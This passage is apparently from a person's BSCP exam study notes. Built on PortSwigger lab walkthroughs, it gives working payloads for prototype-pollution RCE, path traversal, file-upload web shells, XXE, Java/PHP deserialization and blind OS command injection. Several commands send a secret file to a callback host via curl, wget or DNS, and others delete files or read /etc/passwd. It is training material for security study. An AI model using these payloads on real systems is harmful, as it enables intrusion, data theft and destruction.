Test for remote code execution (RCE) by performing DNS request from back-end.

"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('curl https://OASTIFY.COM')"
    ]
}

Inject exploit in to read or delete user sensitive data. After injection, trigger new spawned node child processes, by using admin panel maintenance jobs button. This will action on Carlos secret file.

"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
    ]
}

PortSwigger Lab: Remote code execution via server-side prototype pollution

File Path Traversal

HackTheBox CPTS File Inclusion
LFI Attacks
Admin Portal Files
Path Traversal Authz

LFI attacks

Rana Khalil Directory traversal training demo show the attacks that allow the malicious actor to read file on the server.
Identify web parameters such as filename= that are requesting files from target.

Application blocks traversal sequences but treats the supplied filename as being relative to a absolute path and can be exploit with /etc/passwdabsolute path to target file payload.
Images on target is loaded using filename parameter, and is defending against traversal attacks by stripping path traversal. Exploit using ....//....//....//....//etc/passwd payloads.
Superfluous URL-encoded ..%252f..%252f..%252fetc/passwd payload can bypass application security controls.
Leading the beginning of the filename referenced with the original path and then appending /var/www/images/../../../etc/passwd payload at end bypasses the protection.
Using a null byte character at end plus an image extension to fool APP controls that an image is requested, this ../../../etc/passwd%00.png payload succeed.
Double URL encode file path traversal, as example this ../../../../../../../../../../etc/hostname will be URL double encoded as, %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fhostname.
Windows OS accept both ../ and ..\ for directory traversal syntax, and as example retrieving loadImage?filename=..\..\..\windows\win.ini on windows target to identify valid path traversal.
PHP Wrapper, expect & filter pose vulnerability that allow traversal bypass to result in remote code execution (RCE) critical. Using PHP filter chain generator to get your RCE without uploading a file if you control entirely the parameter passed to a require or an include in PHP! See Tib3rius YouTube demo python php_filter_chain.generator.py --chain '<?=`$_GET[0]`; ?>' | tail -n 1 | urlencode

Corresponding PortSwigger Directory traversal labs.

BSCP Exam challenge identified, after obtaining admin session access, you can read /etc/passwd and /etc/hostname but as soon using same bypass file path traversal technique, the home/carlos/secret give response 403 Forbidden.

Admin Portal Files

On the admin portal identify that the images are loaded using imagefile= parameter. Test if vulnerable to directory traversal. The imagefile parameter is vulnerable to directory traversal path attacks, enabling read access to arbitrary files on the server.

GET /admin_controls/metrics/admin-image?imagefile=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

Note: Add the fuzzing path traversal payload from drop-down list option, Add from list .... Then set processing rule on the provided payload to replace the FILE place holder with reg-ex \{FILE\} for each of the attacks.

Burp Intruder provides a predefined payload list, as example "Fuzzing - path traversal".

PortSwigger Academy File-path-traversal

403bypasser

python3 403bypasser.py -u https://TARGET.net -d /secret

Path Traversal Authz

Adding Headers in request with value 127.0.0.1 or localhost can also help in bypassing restrictions.

X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-For: localhost
X-Forward-For: localhost
X-Remote-IP: localhost
X-Client-IP: localhost
X-Real-IP: localhost

X-Originating-IP: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1

HackTricks Bypass 403 Forbidden paths

File Uploads

Bypass Upload Controls
XXE via SVG Image upload
Remote File Inclusion
XSS SVG Upload
Race Condition Web shell upload
HackTheBox CPTS File Uploads
Exploit-Notes: File Upload Attack references

Bypass Upload Controls

A vulnerable image upload function or avatar logo upload, can by exploited and security controls bypassed to upload content to extract sensitive data or execute code server side.

Identify any type of file upload function.

The PHP source code of the exploit.php file below will read the /home/carlos/secret sensitive information.

<?php echo file_get_contents('/home/carlos/secret'); ?>

File upload vulnerabilities bypass techniques:

Upload the file name and include obfuscated path traversal ..%2fexploit.php and retrieve the content GET /files/avatars/..%2fexploit.php.
Upload a file named, exploit.php%00.jpg with trailing null byte character and get the file execution at /files/avatars/exploit.php.
Create polygot using valid image file, by running the command in bash terminal: exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" ./stickman.png -o polyglot2023.php. Once polygot is uploaded, view the extracted data by issuing a GET request to the uploaded path /files/avatars/polyglot.php , and search the response content for the phrase START to obtain the sensitive data.
Upload two different files. First upload .htaccess with Content-Type: text/plain, and the file data value set to AddType application/x-httpd-php .l33t. This will allow the upload and execute of second file upload named, exploit.l33t with extension l33t.
MIME type image/jpeg or image/png is only allowed. Bypass the filter by specifying Content-Type to value of image/jpeg and then uploading exploit.php file.
If target allow Remote File Include (RFI), upload from remote URL, then host and exploit file with the following GIF magic bytes: GIF89a; <?php echo file_get_contents('/home/carlos/secret'); ?>. The file name on exploit server could read image.php%00.gif.
Double file extension bypass filter exploit.csv.php.

Matching file upload vulnerable labs:

This intigriti walkthrough great explanation of file upload lab.

XXE via SVG Image upload

Identify image upload on the blog post function that accept svg images, and observe that the avatars already on blog source code is svg extensions.

The content of the image.svg file uploaded:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///home/carlos/secret" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

PortSwigger Lab: Exploiting XXE via image file upload

Remote File Inclusion

RFI function on target allow the upload of image from remote HTTPS URL source and perform to validation checks, the source URL must be HTTPS and the file extension is checked, but the MIME content type or file content is maybe not validated. Incorrect RFI result in response message, File must be either a jpg or png.

Methods to bypass extension validation:

Extension with varied capitalization, such as .sVG
Double extension, such as .jpg.svg or .svg.jpg
Extension with a delimiter, such as %0a, %09, %0d, %00, #. Other examples, file.png%00.svg or file.png\x0d\x0a.svg
Empty filename, .svg
Try to cut allowed extension with more than the maximum filename length.

Below scenario could be exploited using SSRF or RFI. Did not solve this challenge.....

POST /admin-panel/admin-img-file
Host: TARGET.net
Cookie: session=AdminCookieTokenValue
Referer: https://TARGET.net/admin-panel

csrf=u4r8fg90d7b09j4mm6k67m3&fileurl=https://EXPLOIT.net/image.sVg

POST /admin-panel/admin-img-file
Host: TARGET.net
Cookie: session=AdminCookieTokenValue
Referer: https://TARGET.net/admin-panel

csrf=u4r8fg90d7b09j4mm6k67m3&fileurl=http://localhost:6566/

I am missing some key info and need to identify PortSwigger research about RFI.

XSS SVG Upload

Uploading of SVG file that contains JavaScript that performs cross site scripting attack.

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(255,0,0);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("XSS!");
   </script>
</svg>

Race Condition Web shell upload

Image upload function identified on profile page.

White box penetration test scenario, the vulnerable source code that introduces this race condition is supplied by the client for the target:

<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];

// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);

if (checkViruses($target_file) && checkFileType($target_file)) {
    echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
    unlink($target_file);
    echo "Sorry, there was an error uploading your file.";
    http_response_code(403);
}

function checkViruses($fileName) {
    // checking for viruses
    ...
}

function checkFileType($fileName) {
    $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
    if($imageFileType != "jpg" && $imageFileType != "png") {
        echo "Sorry, only JPG & PNG files are allowed\n";
        return false;
    } else {
        return true;
    }
}
?>

The uploaded file is moved to an accessible folder, where it is checked for viruses. Malicious files are only removed once the virus check is complete.

PHP Payload to read the secret data <?php echo file_get_contents('/home/carlos/secret'); ?>

Right-click on the failed upload POST /my-account/avatar request that was used to submit the PHP Payload file upload and select Extensions > Turbo Intruder > Send to turbo intruder. The Turbo Intruder window opens. Copy and paste the following race condition inducing script template into Turbo Intruder's Python editor:

Race script template into Turbo Intruder's Python editor:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''<YOUR-POST-REQUEST POST /my-account/avatar HTTP/2 filename="read-secret.php"'''

    request2 = '''<YOUR-GET-REQUEST> GET /files/avatars/read-secret.php HTTP/2'''

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)

results list, notice that some of the GET requests received a 200 response containing Carlos's secret.

PortSwigger Lab: Web shell upload via race condition

Deserialization

CustomTemplate PHP
Burp Deserialization Scanner
YsoSerial
SHA1 HMAC Symfony

CustomTemplate PHP

Reading page source code and noticing comment mentioning , this identify possible PHP framework and the Burp scanner identify serialized session cookie object after we logged in with stolen wiener:peter credentials.

Reviewing PHP source code by adding tilde ~ character at end of GET request https://target.net/libs/CustomTemplate.php~, we notice the destruct method.

Original Decoded cookie

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"bi0egmdu49lnl9h2gxoj3at4sh3ifh9x";}

Make new PHP serial CustomTemplate object with the lock_file_path attribute set to /home/carlos/morale.txt. Make sure to use the correct data type labels and length indicators. The 's' indicate string and the length.

O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

PortSwigger Lab: Arbitrary object injection in PHP

Burp Deserialization Scanner

Intercept the admin panel page in the Burp Practice Exam, and identify the serial value of the cookie named admin-prefs. This challenge is from the PortSwigger Practice Exam APP.

Use below payload in the Deserialization scanner exploiting Java jar ysoserial command, to obtain remote code execution (RCE) when payload de-serialized on target.

CommonsCollections3 'wget http://OASTIFY.COM --post-file=/home/carlos/secret'

Image below is from the Practice exam, I have some issues with my setup as the old version of java is needed when running ysoserial in bash terminal, and the Burp Suite Pro app need sudo to save the config of the extension.

Burp Deserialization Scanner configuration when running burp as sudo, leaving the java path to java and the ysoserial path to ``. My scanner detect the java deserialization in the burp issue list but not when i run it manual???

YsoSerial

Below is ysoserial command line execution to generate base64 encoded serialized cookie object containing payload.

IMPORTANT: If you get error message when executing java -jar ysoserial <Payload> saying something in lines of java.lang.IllegalAccessError: class ysoserial.payloads.util.Gadgets, the switch to alternative Java on Linux with following commands.

java --version
update-java-alternatives --list
sudo update-java-alternatives --set /usr/lib/jvm/java-1.11.0-openjdk-amd64
java --version

Now execute ysoserial to generate base64 payload, using Java version 11. Replace session cookie with generated base64 payload and URL encode only the key characters before sending request.

java -jar /opt/ysoserial/ysoserial.jar CommonsCollections4 'wget http://OASTIFY.COM --post-file=/home/carlos/secret' | base64 -w 0

PortSwigger Lab: Exploiting Java deserialization with Apache Commons

SHA1 HMAC Symfony

Identify that the cookie contains a Base64-encoded token, signed with a SHA-1 HMAC hash. On the home page we discover a developer comment to debug info for /cgi-bin/phpinfo.php, revealing the digital signature to sign new token. Sending invalid cookie session value the error reveals, Symfony Version: 4.3.6.

Note: In BSCP exam not going to run this as it delete the file, but in exam read source code to identify the unserialize() PHP function and extract content out-of-band using PHPGGC.

Exploit steps to perform a PHP deserialization with a pre-built gadget chain.

Request the /cgi-bin/phpinfo.php file to find the leaked SECRET_KEY information about the website.
Generate a Base64-encoded serialized object that exploits an RCE gadget chain in Symfony phpggc Symfony/RCE4 exec 'wget http://OASTIFY.COM --post-file=/home/carlos/secret' | base64 -w 0.
Construct a valid cookie containing this malicious object and sign it correctly using the secret key you obtained.

<?php
$object = "OBJECT-GENERATED-BY-PHPGGC";
$secretKey = "LEAKED-SECRET-KEY-FROM-PHPINFO.PHP";
$cookie = urlencode('{"token":"' . $object . '","sig_hmac_sha1":"' . hash_hmac('sha1', $object, $secretKey) . '"}');
echo $cookie;

Execute the php code in terminal, php Symfony_insecure_deserial_php.php to obtain signed cookie.

Replace cookie value and send request to get remote code execution (RCE) when cookie is deserialised server side. Ignore the server response HTTP/2 500 Internal Server Error, check the collaborator if data was received.

PortSwigger Lab: Exploiting PHP deserialization with a pre-built gadget chain

OS Command Injection

Feedback

Use following command separation characters to identify Operating System Command injection vulnerabilities.

 &&
 &
 ||
 |
 ;
 `
 '
 "
 0x0a
 \n

The target application submit feedback function require email value, and identifying blind OS command injection by appending ||curl OASTIFY.COM|| bash command, we then can observe a request made to Collaborator.

email=carlos@exam.net||curl+`whoami`.OASTIFY.COM||

The below payload use DNS exfiltration and the Burp Collaborator DNS service.

||$(curl $(cat /home/carlos/secret).OASTIFY.COM)||

In this YouTube video Leet Cipher show how to use DNS rebinding with blind command injection to exfiltration the contents of passwd from the target by first uploading bash script that Base64 and then Base58 encode the passwd file content, to strip special character not able to ex-filtrate with DNS label restrictions.

leetCipher Github scripts for Blind OS DNS exfiltrate

PortSwigger Lab payload perform a DNS lookup using nslookup as a Burp Collaborator subdomain.

email=peanut2019@nuts.net||nslookup+`whoami`.OASTIFY.COM||

PortSwigger Lab: Blind OS command injection with out-of-band data exfiltration

Output redirection

If OS command injection identified, and filter in place preventing complex command injection, attempt to redirect output to writable folder. Identify a path traversal vulnerability that allow reading of files only in current WEB APP.

Identify the working directory using pwd command output redirected, and appending to output.txt file every bash command stdout.

||pwd>output.txt||
||echo>>output.txt||
||cat+/etc/hosts>>/var/www/images/output.txt||
||echo>>output.txt||
||ls+-al>>/var/www/images/output.txt||
||echo>>output.txt||
||whoami>>/var/www/images/output.txt||

Use working directory discovered using above pwd command to redirect output and read content.

Get output file content.

GET /image?filename=output.txt HTTP/2

PortSwigger Lab: Blind OS command injection with output redirection

Appendix

This section contain additional information to solving the PortSwigger labs and approaching the BSCP exam, such as the Youtube content creators, Burp speed scanning technique, python scripts and Obfuscation techniques to bypass filters.

Obfuscation
Python Scripts
Focus Scanning
Approach
YouTube & Extra Training Content
Convert epoch time to milliseconds from human readable may be in exam

Obfuscation

Obfuscation is the action of making something obscure, unclear, or unintelligible.

URL and Base64 online encoders and decoders.

URL replacing the period character . with encoded value of %2e.

Double-encode the injecting payload.

/?search=%253Cimg%2520src%253Dx%2520onerror%253Dalert(1)%253E

HTML encode one or more of the characters. In video by z3nsh3ll: Payload obfuscation with HTML encoding he explain post analysis of the lab Stored XSS into onclick event.

<img src=x onerror="&#x61;lert(1)">

XML encode for bypassing WAFs

<stockCheck>
    <productId>
        123
    </productId>
    <storeId>
         999 &#x53;ELECT * FROM information_schema.tables
    </storeId>
</stockCheck>

Multiple encodings together

<a href="javascript:&bsol;u0061lert(1)">Click me</a>

SQL CHAR

CHAR(83)+CHAR(69)+CHAR(76)+CHAR(69)+CHAR(67)+CHAR(84)

Obfuscating attacks using encodings

Python Scripts

Python script to identify vulnerabilities in the exam and provide indicators of exploits.

Python Script to identify possible vulnerabilities in headers, cookies or the response body

Lab Automated Python Scripts

Automate the solving of the labs using python scripts

Approach

Tips from Daniel Redfern is best I have come access explaining fundamental mechanics in BSCP exam, especially Tip 7, only one active user per application and if you reach stage 2 and you did not use interactive exploit in stage 1 that required the Deliver to Victim function of the exploit server, then use an interactive exploit on stage 2 to reach admin user role.

When stuck in BSCP exam, reference the below Micah van Deusen blog tip 5 table of category to stages for ways to progress through the stages.

Identified

The image below is my view of possible vulnerabilities identified and exploitation to reach the next BSCP exam stage and progress through the exam challenges.
I have managed solve the challenges in green using the PortSwigger Academy Labs, but we never stop learning......

Extra Training Content

Some great links to YouTube content creators training material and links to study stuff.

Youtube Information Security content creators channels (in no particular order):

Footnote

Perseverance: is Persistence in doing something despite difficulty or delay in achieving success.
The OSCP certification taught me to #TryHarder and gave me the foundation penetration testing skills.
The BSCP exam gave me the next level of web application security analyst knowledge.
I hope my notes offer other Information Security Students some guidance and walkthrough tips.

Burp Exam Results

The Burp Suite Certified Practitioner exam is a challenging practical examination designed to demonstrate your web security testing knowledge and Burp Suite Professional skills.
My tip when preparing, is to understand the academy labs. Extra work is required as the labs do not always provide the identification of the vulnerability step.
In my study notes I document the lab guides from the official PortSwigger academy to make sure I know how to identify the vulnerability, use it in different scenarios and make payloads that show the impact when exploiting the vulnerability. As example crafting a XSS cookie stealer payload instead of just calling the print function.
The BSCP qualification on my resume demonstrate a deep knowledge of the latest vulnerability classes and how to exploit Web Applications, proving my hacking ability to employers and the community.

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